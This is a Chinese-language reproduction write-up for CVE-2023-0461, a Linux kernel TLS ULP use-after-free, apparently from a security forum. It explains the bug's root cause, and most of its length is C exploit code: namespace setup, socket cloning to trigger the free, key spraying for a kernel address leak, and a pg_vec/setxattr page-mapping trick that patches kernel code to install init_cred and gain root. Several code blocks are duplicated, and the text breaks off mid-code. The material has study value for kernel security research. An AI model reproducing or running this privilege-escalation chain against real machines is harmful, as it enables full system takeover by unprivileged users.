-
-
[原创]CVE-2023-0461复现笔记
-
发表于: 2024-8-28 14:09 4200
-
commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442
总的config:
defconfig+menuconfig
(同样是修改了objtool的一个代码)
Linux 内核在处理 icsk->icsk_ulp_data 指针时存在错误导致 UAF,
源代码:
如果 socket 设置 ulp 后进入 listen 状态,然后有其他 socket 发起 connect 系统调用请求连接,新创建的 sk 对象会拷贝 icsk->icsk_ulp_data 指针,相关代码位于 如下:
根据 tcp_prot 的定义,在 sock_copy 通过 memcpy 拷贝 后面的成员时就会拷贝 icsk->icsk_ulp_data ,==漏洞的关键点是对象指针拷贝后没有使用引用计数管理,释放其中一个指针就会导致悬垂指针的产生==。
也就是说,在服务端,建立一个套接字并bind、listen,最后accept,服务端是知道自己的套接字描述符的,然后客户端也简历一个套接字,通过connect连接服务端,但是此时服务端是不知道对面的套接字描述符的,或者说没有用,因为对面的套接字的文件描述符只是客户端进程的,对服务端进程来说没有意义,所以服务端要通过accept生成一个新的套接字,通过这个套接字代表CS之间的连接。
对照GitHub上的脚本复现,发现要想成功连接,需要创建一个namespace,同时还需要使用配置相关网络接口,这里使用GitHub中给出的net_if函数以及netlink_utils.h头文件进行配置:
具体的解释看gpt所述:
所以就是先建立一个连接,然后才能给client设置ULP;
之后要将这个client connect一个地址(但是并没有创建套接字),之后才能给client绑定一个地址;
然后创建一个新的套接字去连接这个client,然后client accept,返回的文件描述符和client拥有相同的ULP;
对于我们的ulp_data,可能我们虽然close了,但是由于RCU宽限期的原因,可能要等一段时间之后才嗯那个真的释放obj;
这个UAF洞的利用很巧妙,close之后会有一些列操作,如果此时的obj已经被我们覆盖了,那么很可能会出错,但是如果是正常的就不会错,然后到了kfree之前会有这个RCU宽限期,在这个宽限期我们UAF写,然后kfree,就没错。
笔者得到的错误:
Invalid argument;
这是在笔者使用setxattr修改了gp_vec之后就会发生这个报错,但是如果不进行修改,就不会发生这个错误;笔者考虑到了可能是笔者写多了的缘故,但是笔者将64个地址改成了33个地址还是出错了;
经过调试发现mmap之前并没有因为setxattr释放了的缘故而导致地址发生改变
发生了空指针解引用;
手动set一个地址:
可以看到成功了;
最终找到了解决方案:利用前面读内核密钥泄露的上一个pg_vec的指针,作为setxattr的内容去写新的pg_vec,然后只修改它的第一个指针为我们的目标地址即可;
目前来看推测page_offset_base,只能先保留高32位,然后逐步-0x100000000来命中了,这个很不稳定;
成功leak!
教程:
一定要搜函数__sys_setresuid,笔者就是漏了前面的两个下划线,找了半天。。。
这个跳转要干掉:
后边还有个问题就是内存被破坏了,system起不来,经过调试发现是在kfree崩了,具体原因不详,因此笔者索性就用USMA把kfree函数的第一个字节patch成0xc3,直接退出好了;
似乎内核密钥被释放掉之后会有内核地址被写入,这个笔者之前学过,没复现成功,没想到在这里给解决了。
这里相当于是那个滞后的free给我们把内核密钥释放了,然后反而帮我们泄露了内核地址了;
内核密钥被释放之后会得到如下内存布局,此后如果能够通过UAF读出来的第一个64位内容就是一个内核代码段地址;(笔者的内核密钥是被一个ulp结构体给释放的,竟然也会有这个字段)
首先是RCU宽限期的等待时间需要稍微改正,然后就是这次笔者将pg_veg中依次写入达大量内核代码段地址之后mmap成功,最终实现提权:
要创建namespace和激活端口才能正确进行connect;
ULP的设置要在建立连接之后;
新地址的绑定还要先connect一下?
RCU宽限期
https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150
CVE-2023-0461 Linux 内核 UAF 漏洞分析与漏洞利用解读-CSDN博客
CONFIG_CONFIGFS_FS
=
y
CONFIG_SECURITYFS
=
y
CONFIG_NET_SCHED
=
y
CONFIG_DEBUG_INFO
=
y
CONFIG_USER_NS
=
y
#支持新的namespace
CONFIG_USERFAULTFD
=
y
#支持userfaultfd
CONFIG_TLS
=
y
#漏洞触发必要选项
CONFIG_XFRM_ESPINTCP
=
y
#漏洞触发必要选项,二者选其一
CONFIG_CONFIGFS_FS
=
y
CONFIG_SECURITYFS
=
y
CONFIG_NET_SCHED
=
y
CONFIG_DEBUG_INFO
=
y
CONFIG_USER_NS
=
y
#支持新的namespace
CONFIG_USERFAULTFD
=
y
#支持userfaultfd
CONFIG_TLS
=
y
#漏洞触发必要选项
CONFIG_XFRM_ESPINTCP
=
y
#漏洞触发必要选项,二者选其一
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
ipv4
/
tcp_ulp.c
#L150
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
ipv4
/
tcp_ulp.c
#L150
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
core
/
sock.c
#L1857
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
core
/
sock.c
#L1857
struct
sock *sk_clone_lock(
const
struct
sock *sk,
const
gfp_t priority)
{
struct
proto *prot = READ_ONCE(sk->sk_prot);
struct
sock *newsk;
bool
is_charged =
true
;
newsk = sk_prot_alloc(prot, priority, sk->sk_family);
if
(newsk != NULL) {
struct
sk_filter *filter;
sock_copy(newsk, sk);
newsk->sk_prot_creator = prot;
/* SANITY */
if
(likely(newsk->sk_net_refcnt))
get_net(sock_net(newsk));
sk_node_init(&newsk->sk_node);
sock_lock_init(newsk);
bh_lock_sock(newsk);
newsk->sk_backlog.head = newsk->sk_backlog.tail = NULL;
newsk->sk_backlog.len = 0;
atomic_set(&newsk->sk_rmem_alloc, 0);
/*
* sk_wmem_alloc set to one (see sk_free() and sock_wfree())
*/
refcount_set(&newsk->sk_wmem_alloc, 1);
atomic_set(&newsk->sk_omem_alloc, 0);
sk_init_common(newsk);
newsk->sk_dst_cache = NULL;
newsk->sk_dst_pending_confirm = 0;
newsk->sk_wmem_queued = 0;
newsk->sk_forward_alloc = 0;
atomic_set(&newsk->sk_drops, 0);
newsk->sk_send_head = NULL;
newsk->sk_userlocks = sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
atomic_set(&newsk->sk_zckey, 0);
sock_reset_flag(newsk, SOCK_DONE);
/* sk->sk_memcg will be populated at accept() time */
newsk->sk_memcg = NULL;
cgroup_sk_clone(&newsk->sk_cgrp_data);
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if
(filter != NULL)
/* though it's an empty new sock, the charging may fail
* if sysctl_optmem_max was changed between creation of
* original socket and cloning
*/
is_charged = sk_filter_charge(newsk, filter);
RCU_INIT_POINTER(newsk->sk_filter, filter);
rcu_read_unlock();
if
(unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
/* We need to make sure that we don't uncharge the new
* socket if we couldn't charge it in the first place
* as otherwise we uncharge the parent's filter.
*/
if
(!is_charged)
RCU_INIT_POINTER(newsk->sk_filter, NULL);
sk_free_unlock_clone(newsk);
newsk = NULL;
goto
out;
}
RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);
if
(bpf_sk_storage_clone(sk, newsk)) {
sk_free_unlock_clone(newsk);
newsk = NULL;
goto
out;
}
/* Clear sk_user_data if parent had the pointer tagged
* as not suitable for copying when cloning.
*/
if
(sk_user_data_is_nocopy(newsk))
newsk->sk_user_data = NULL;
newsk->sk_err = 0;
newsk->sk_err_soft = 0;
newsk->sk_priority = 0;
newsk->sk_incoming_cpu = raw_smp_processor_id();
if
(likely(newsk->sk_net_refcnt))
sock_inuse_add(sock_net(newsk), 1);
/*
* Before updating sk_refcnt, we must commit prior changes to memory
* (Documentation/RCU/rculist_nulls.rst for details)
*/
smp_wmb();
refcount_set(&newsk->sk_refcnt, 2);
/*
* Increment the counter in the same struct proto as the master
* sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
* is the same as sk->sk_prot->socks, as this field was copied
* with memcpy).
*
* This _changes_ the previous behaviour, where
* tcp_create_openreq_child always was incrementing the
* equivalent to tcp_prot->socks (inet_sock_nr), so this have
* to be taken into account in all callers. -acme
*/
sk_refcnt_debug_inc(newsk);
sk_set_socket(newsk, NULL);
sk_tx_queue_clear(newsk);
RCU_INIT_POINTER(newsk->sk_wq, NULL);
if
(newsk->sk_prot->sockets_allocated)
sk_sockets_allocated_inc(newsk);
if
(sock_needs_netstamp(sk) &&
newsk->sk_flags & SK_FLAGS_TIMESTAMP)
net_enable_timestamp();
}
out:
return
newsk;
}
EXPORT_SYMBOL_GPL(sk_clone_lock);
struct
sock *sk_clone_lock(
const
struct
sock *sk,
const
gfp_t priority)
{
struct
proto *prot = READ_ONCE(sk->sk_prot);
struct
sock *newsk;
bool
is_charged =
true
;
newsk = sk_prot_alloc(prot, priority, sk->sk_family);
if
(newsk != NULL) {
struct
sk_filter *filter;
sock_copy(newsk, sk);
newsk->sk_prot_creator = prot;
/* SANITY */
if
(likely(newsk->sk_net_refcnt))
get_net(sock_net(newsk));
sk_node_init(&newsk->sk_node);
sock_lock_init(newsk);
bh_lock_sock(newsk);
newsk->sk_backlog.head = newsk->sk_backlog.tail = NULL;
newsk->sk_backlog.len = 0;
atomic_set(&newsk->sk_rmem_alloc, 0);
/*
* sk_wmem_alloc set to one (see sk_free() and sock_wfree())
*/
refcount_set(&newsk->sk_wmem_alloc, 1);
atomic_set(&newsk->sk_omem_alloc, 0);
sk_init_common(newsk);
newsk->sk_dst_cache = NULL;
newsk->sk_dst_pending_confirm = 0;
newsk->sk_wmem_queued = 0;
newsk->sk_forward_alloc = 0;
atomic_set(&newsk->sk_drops, 0);
newsk->sk_send_head = NULL;
newsk->sk_userlocks = sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
atomic_set(&newsk->sk_zckey, 0);
sock_reset_flag(newsk, SOCK_DONE);
/* sk->sk_memcg will be populated at accept() time */
newsk->sk_memcg = NULL;
cgroup_sk_clone(&newsk->sk_cgrp_data);
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if
(filter != NULL)
/* though it's an empty new sock, the charging may fail
* if sysctl_optmem_max was changed between creation of
* original socket and cloning
*/
is_charged = sk_filter_charge(newsk, filter);
RCU_INIT_POINTER(newsk->sk_filter, filter);
rcu_read_unlock();
if
(unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
/* We need to make sure that we don't uncharge the new
* socket if we couldn't charge it in the first place
* as otherwise we uncharge the parent's filter.
*/
if
(!is_charged)
RCU_INIT_POINTER(newsk->sk_filter, NULL);
sk_free_unlock_clone(newsk);
newsk = NULL;
goto
out;
}
RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);
if
(bpf_sk_storage_clone(sk, newsk)) {
sk_free_unlock_clone(newsk);
newsk = NULL;
goto
out;
}
/* Clear sk_user_data if parent had the pointer tagged
* as not suitable for copying when cloning.
*/
if
(sk_user_data_is_nocopy(newsk))
newsk->sk_user_data = NULL;
newsk->sk_err = 0;
newsk->sk_err_soft = 0;
newsk->sk_priority = 0;
newsk->sk_incoming_cpu = raw_smp_processor_id();
if
(likely(newsk->sk_net_refcnt))
sock_inuse_add(sock_net(newsk), 1);
/*
* Before updating sk_refcnt, we must commit prior changes to memory
* (Documentation/RCU/rculist_nulls.rst for details)
*/
smp_wmb();
refcount_set(&newsk->sk_refcnt, 2);
/*
* Increment the counter in the same struct proto as the master
* sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
* is the same as sk->sk_prot->socks, as this field was copied
* with memcpy).
*
* This _changes_ the previous behaviour, where
* tcp_create_openreq_child always was incrementing the
* equivalent to tcp_prot->socks (inet_sock_nr), so this have
* to be taken into account in all callers. -acme
*/
sk_refcnt_debug_inc(newsk);
sk_set_socket(newsk, NULL);
sk_tx_queue_clear(newsk);
RCU_INIT_POINTER(newsk->sk_wq, NULL);
if
(newsk->sk_prot->sockets_allocated)
sk_sockets_allocated_inc(newsk);
if
(sock_needs_netstamp(sk) &&
newsk->sk_flags & SK_FLAGS_TIMESTAMP)
net_enable_timestamp();
}
out:
return
newsk;
}
EXPORT_SYMBOL_GPL(sk_clone_lock);
#include "netlink_utils.h"
#define ADD_LINK RTM_NEWLINK
#define DEL_LINK RTM_DELLINK
#define FLUSH RTM_GETLINK
#define ADD_ADDR RTM_NEWADDR
#define DEL_ADDR RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
#define N_NET_INTERFACES 0x1800
int
net_if(
int
action,
char
*type,
int
n,
int
opt,
bool
change) {
struct
nlmsghdr *msg;
struct
nlattr *opts;
struct
ifinfomsg ifinfo = {};
struct
ifaddrmsg ifaddr = {};
char
name[0x100] = { 0 };
int
sk;
strcpy
(name, type);
if
(n >= 0)
snprintf(name,
sizeof
(name),
"%s-%d"
, type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if
(!sk) {
perror
(
"nl_init_request()"
);
return
-1;
}
switch
(action) {
case
ADD_LINK:
case
DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo,
sizeof
(ifinfo), NLMSG_ALIGNTO);
if
(action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break
;
case
ADD_ADDR:
case
DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr,
sizeof
(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break
;
}
// Send the netlink message and deallocate resources
return
nl_complete_request(sk, msg);
}
int
setup_sandbox(
void
)
{
if
(unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror
(
"unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)"
);
return
-1;
}
net_if(ADD_LINK,
"lo"
, -1, IFF_UP,
true
);
return
0;
}
int
main(
void
)
{
setup_sandbox();
}
#include "netlink_utils.h"
#define ADD_LINK RTM_NEWLINK
#define DEL_LINK RTM_DELLINK
#define FLUSH RTM_GETLINK
#define ADD_ADDR RTM_NEWADDR
#define DEL_ADDR RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
#define N_NET_INTERFACES 0x1800
int
net_if(
int
action,
char
*type,
int
n,
int
opt,
bool
change) {
struct
nlmsghdr *msg;
struct
nlattr *opts;
struct
ifinfomsg ifinfo = {};
struct
ifaddrmsg ifaddr = {};
char
name[0x100] = { 0 };
int
sk;
strcpy
(name, type);
if
(n >= 0)
snprintf(name,
sizeof
(name),
"%s-%d"
, type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if
(!sk) {
perror
(
"nl_init_request()"
);
return
-1;
}
switch
(action) {
case
ADD_LINK:
case
DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo,
sizeof
(ifinfo), NLMSG_ALIGNTO);
if
(action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break
;
case
ADD_ADDR:
case
DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr,
sizeof
(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break
;
}
// Send the netlink message and deallocate resources
return
nl_complete_request(sk, msg);
}
int
setup_sandbox(
void
)
{
if
(unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror
(
"unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)"
);
return
-1;
}
net_if(ADD_LINK,
"lo"
, -1, IFF_UP,
true
);
return
0;
}
int
main(
void
)
{
setup_sandbox();
}
https:
/
/
tttang.com
/
archive
/
1706
/
https:
/
/
tttang.com
/
archive
/
1706
/
gdb -ex
"target remote localhost:1234"
-ex
"file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux"
-ex
"c"
gdb -ex
"target remote localhost:1234"
-ex
"file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux"
-ex
"c"
p ((struct inet_connection_sock
*
) osk)
-
>icsk_ulp_data
p ((struct inet_connection_sock
*
) osk)
-
>icsk_ulp_data
b user_preparse
b user_preparse
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <string.h>
#include <byteswap.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/tls.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include "netlink_utils.h"
#define ADD_LINK RTM_NEWLINK
#define DEL_LINK RTM_DELLINK
#define FLUSH RTM_GETLINK
#define ADD_ADDR RTM_NEWADDR
#define DEL_ADDR RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
#define N_NET_INTERFACES 0x1800
int
tls1, tls2, tls3, tls4;
int
net_if(
int
action,
char
*type,
int
n,
int
opt,
bool
change);
size_t
user_cs, user_ss, user_rflags, user_sp;
void
save_status()
{
asm
volatile
(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts
(
"\033[34m\033[1m[*] Status has been saved.\033[0m"
);
}
//CPU绑核
void
bindCore(
int
core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(),
sizeof
(cpu_set), &cpu_set);
printf
(
"\033[34m\033[1m[*] Process binded to core \033[0m%d\n"
, core);
}
int
setup_sandbox(
void
)
{
if
(unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
perror
(
"unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)"
);
return
-1;
}
net_if(ADD_LINK,
"lo"
, -1, IFF_UP,
true
);
char
edit[0x200];
int
tmp_fd = open(
"/proc/self/setgroups"
, O_WRONLY);
write(tmp_fd,
"deny"
,
strlen
(
"deny"
));
close(tmp_fd);
tmp_fd = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getuid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
tmp_fd = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, getgid());
write(tmp_fd, edit,
strlen
(edit));
close(tmp_fd);
return
0;
}
int
net_if(
int
action,
char
*type,
int
n,
int
opt,
bool
change) {
struct
nlmsghdr *msg;
struct
nlattr *opts;
struct
ifinfomsg ifinfo = {};
struct
ifaddrmsg ifaddr = {};
char
name[0x100] = { 0 };
int
sk;
strcpy
(name, type);
if
(n >= 0)
snprintf(name,
sizeof
(name),
"%s-%d"
, type, n);
// Initalize a netlink socket and allocate a nlmsghdr
sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
if
(!sk) {
perror
(
"nl_init_request()"
);
return
-1;
}
switch
(action) {
case
ADD_LINK:
case
DEL_LINK:
ifinfo.ifi_family = AF_UNSPEC;
ifinfo.ifi_type = PF_NETROM;
ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
ifinfo.ifi_flags = opt;
ifinfo.ifi_change = change ? 1 : 0;
nlmsg_append(msg, &ifinfo,
sizeof
(ifinfo), NLMSG_ALIGNTO);
if
(action == ADD_LINK) {
// Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
// (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
// This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
nla_put_u32(msg, IFLA_MTU, 1000);
nla_put_string(msg, IFLA_IFNAME, name);
opts = nla_nest_start(msg, IFLA_LINKINFO);
nla_put_string(msg, IFLA_INFO_KIND, type);
nla_nest_end(msg, opts);
}
break
;
case
ADD_ADDR:
case
DEL_ADDR:
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = 16;
ifaddr.ifa_flags = 0;
ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
ifaddr.ifa_index = if_nametoindex(name);
nlmsg_append(msg, &ifaddr,
sizeof
(ifaddr), NLMSG_ALIGNTO);
nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
break
;
}
// Send the netlink message and deallocate resources
return
nl_complete_request(sk, msg);
}
int
tls1, tls2;
int
set_ulp(
int
port){
struct
sockaddr_in addr;
socklen_t len =
sizeof
(addr);
int
tls, s, s2;
tls = socket(AF_INET, SOCK_STREAM, 0);
s = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
// Put the socket into ESTABLISHED state
if
(bind(s, &addr,
sizeof
(addr)) < 0){
perror
(
"bind"
);
exit
(-1);
}
if
(listen(s, 0) < 0){
perror
(
"listen"
);
exit
(-1);
}
if
(connect(tls, &addr,
sizeof
(addr)) < 0){
perror
(
"connect"
);
exit
(-1);
}
// Initialize TLS ULP
if
(setsockopt(tls, SOL_TCP, TCP_ULP,
"tls"
,
sizeof
(
"tls"
)) < 0){
perror
(
"set ulp"
);
}
return
tls;
}
int
clone_tls(
int
tls,
int
port){
struct
sockaddr_in addr;
socklen_t len =
sizeof
(addr);
int
s,
new
;
s = socket(AF_INET, SOCK_STREAM, 0);
// Disconnect the input socket `sk`
addr.sin_family = AF_UNSPEC;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
connect(tls, &addr,
sizeof
(addr));
//为什么要先连接一下才能bind?
// Listen on `sk` (This should not happen!)
addr.sin_family = AF_INET;
if
(bind(tls, &addr,
sizeof
(addr)) < 0){
perror
(
"bind2"
);
exit
(-1);
}
if
(listen(tls, 0) < 0){
perror
(
"listen2"
);
exit
(-1);
}
if
(connect(s, &addr,
sizeof
(addr)) < 0 ){
perror
(
"connect2"
);
exit
(-1);
}
// Clone icsk_ulp_data
new
= accept(tls, &addr, &len);
// Now the input socket `sk` and `new`
// share the same icsk_ulp_data pointer
return
new
;
}
#include "key.h"
#define TOTAL_KEYS 60
int
kids[TOTAL_KEYS];
void
spray_key(
int
times,
int
len){
char
des[0x100];
memset
(des, 0,
sizeof
(des));
char
pay[0x200];
memset
(pay, 0,
sizeof
(pay));
for
(
int
i = 0; i < TOTAL_KEYS && i < times; i++){
memset
(des,
'A'
+i, 0x80);
memset
(pay,
'a'
+i, len);
kids[i] = key_alloc(des, pay, len);
printf
(
"kid_%d == %d\n"
, i, kids[i]);
}
}
#include <sys/types.h>
#include <sys/xattr.h>
void
spray_attr(
int
times,
int
size){
const
char
*path =
"/path/to/file"
;
const
char
*name =
"user.attribute"
;
const
char
*value =
"value"
;
int
flags = 0;
// 可以是 XATTR_CREATE 或 XATTR_REPLACE
for
(
int
i = 0; i < times; i++){
setxattr(path, name, value, size, flags);
}
}
size_t
data[0x20000];
int
pipe_kernel[2];
#include "pg_vec.h"
void
child(){
size_t
kernel_offset_base;
unshare_setup();
puts
(
"here child"
);
char
cmd[4];
read(pipe_kernel[0], &kernel_offset_base, 8);
puts
(
"end2"
);
}
int
get_one_key(
char
des_chr,
char
pay_chr,
int
len){
char
des[0x100];
memset
(des, 0,
sizeof
(des));
memset
(des, des_chr, 0x80);
char
pay[0x400];
memset
(pay, 0,
sizeof
(pay));
memset
(pay, pay_chr, len);
return
key_alloc(des, pay, len);
}
size_t
data2[0x10000];
#define print_init_cred() \
printf
(
"%p\n"
, init_cred); \
puts
(
"hello"
)
#define mov_rdi_init_cred(con) \
memcpy
(con,
"\x48\xbf"
, 2);\
memcpy
(con+2, &init_cred)
size_t
ker_base[0x20000];
int
main(
void
)
{
size_t
kernel_offset_base;
bindCore(0);
save_status();
unshare_setup();
net_if(ADD_LINK,
"lo"
, -1, IFF_UP,
true
);
tls1 = set_ulp(1111);
tls2 = clone_tls(tls1, 1112);
printf
(
"tls1 == %d, tls2 == %d\n"
, tls1, tls2);
tls3 = set_ulp(1113);
tls4 = clone_tls(tls3, 1114);
printf
(
"tls3 == %d, tls4 == %d\n"
, tls3, tls4);
close(tls1);
puts
(
"sleeping ... "
);
sleep(3);
close(tls2);
puts
(
"sleeping ... "
);
sleep(3);
spray_key(1, 0x100);
size_t
data[0x1000];
puts
(
"spray key done"
);
getchar
();
int
key_len = key_read(kids[0], ker_base, 0x20000);
ker_base[0] -= 0xffffffff820464c0;
int
pfd = pagealloc_pad(33, 0x1000);
printf
(
"pfd == %d\n"
, pfd);
key_len = key_read(kids[0], data, 0x20000);
printf
(
"key_len == %d\n"
, key_len);
for
(
int
i = 0; i < 0x100; i++){
if
(data[i] >= 0xffff888000000000 && data[i] <= 0xfffffff000000000){
printf
(
"data -> %p\n"
, (
void
*)data[i]);
kernel_offset_base = data[i] & 0xfffffff000000000;
break
;
}
}
printf
(
"kernel_offset_base == %p\n"
, (
void
*)kernel_offset_base);
getchar
();
close(tls3);
puts
(
"sleeping ... "
);
sleep(3);
close(tls4);
puts
(
"sleeping ... "
);
sleep(3);
pfd = pagealloc_pad(33, 0x1000);
printf
(
"pfd == %d\n"
, pfd);
for
(
int
i = 0; i < 34; i++){
printf
(
"data-> %p\n"
, (
void
*)data[i]);
}
for
(
int
i = 0; i < 3; i++){
data2[i] = data[i] + 0x3000;
}
memcpy
(data2+3, data, 30*8);
data2[0] = kernel_offset_base;
const
char
*path =
"/test"
;
const
char
*name =
"user.attribute"
;
const
char
*value = data2;
size_t
size = 0x200;
int
flags = 0;
// 可以是 XATTR_CREATE 或 XATTR_REPLACE
puts
(
"before setxattr"
);
getchar
();
int
result ;
result = setxattr(path, name, value, size, flags);
if
(result == -1) {
perror
(
"setxattr"
);
//return 1;
}
puts
(
"before mmap"
);
//getchar();
size_t
*page = 0LL;
//if (page == MAP_FAILED) {
//perror("mmap");
//exit(-1);
//}
printf
(
"page == %p\n"
, (
void
*)page);
data2[0] += 0x9d000;
result = setxattr(path, name, value, size, flags);
if
(result == -1) {
perror
(
"setxattr"
);
//return 1;
}
if
(page == MAP_FAILED) {
perror
(
"mmap"
);
//exit(-1);
}
printf
(
"page == %p\n"
, (
void
*)page);
size_t
kbase = 0xffffffff81000040;
printf
(
"kbase == %p\n"
, (
void
*)kbase);
size_t
init_cred = ker_base[0] + 0xffffffff8244c6c0;
//================================================== patch kernel ============================================================
data2[0] = ker_base[0] + 0xffffffff8107a000;
result = setxattr(path, name, value, size, flags);
if
(result == -1) {
perror
(
"setxattr"
);
//return 1;
}
page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0);
//mmap的size要和addr对齐
if
(page == MAP_FAILED) {
perror
(
"mmap"
);
//exit(-1);
}
char
*p = (
char
*)page;
printf
(
"page == %p\n"
, (
void
*)page);
memset
(p+0xace, 0x90, 6);
memset
(p+0xad7, 0x90, 2);
memset
(p+0xade, 0x90, 6);
memset
(p+0xae8, 0x90, 2);
memset
(p+0xaee, 0x90, 6);
memset
(p+0xbbb, 0x90, 2);
memcpy
(p+0xbbd,
"\x48\xbf"
, 2);
memcpy
(p+0xbbd+2, &init_cred, 8);
//=============================================== patch kfree ===========================================================
data2[0] = ker_base[0] + 0xffffffff811d4000;
result = setxattr(path, name, value, size, flags);
if
(result == -1) {
perror
(
"setxattr"
);
//return 1;
}
page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0);
//mmap的size要和addr对齐
if
(page == MAP_FAILED) {
perror
(
"mmap"
);
//exit(-1);
}
p = page;
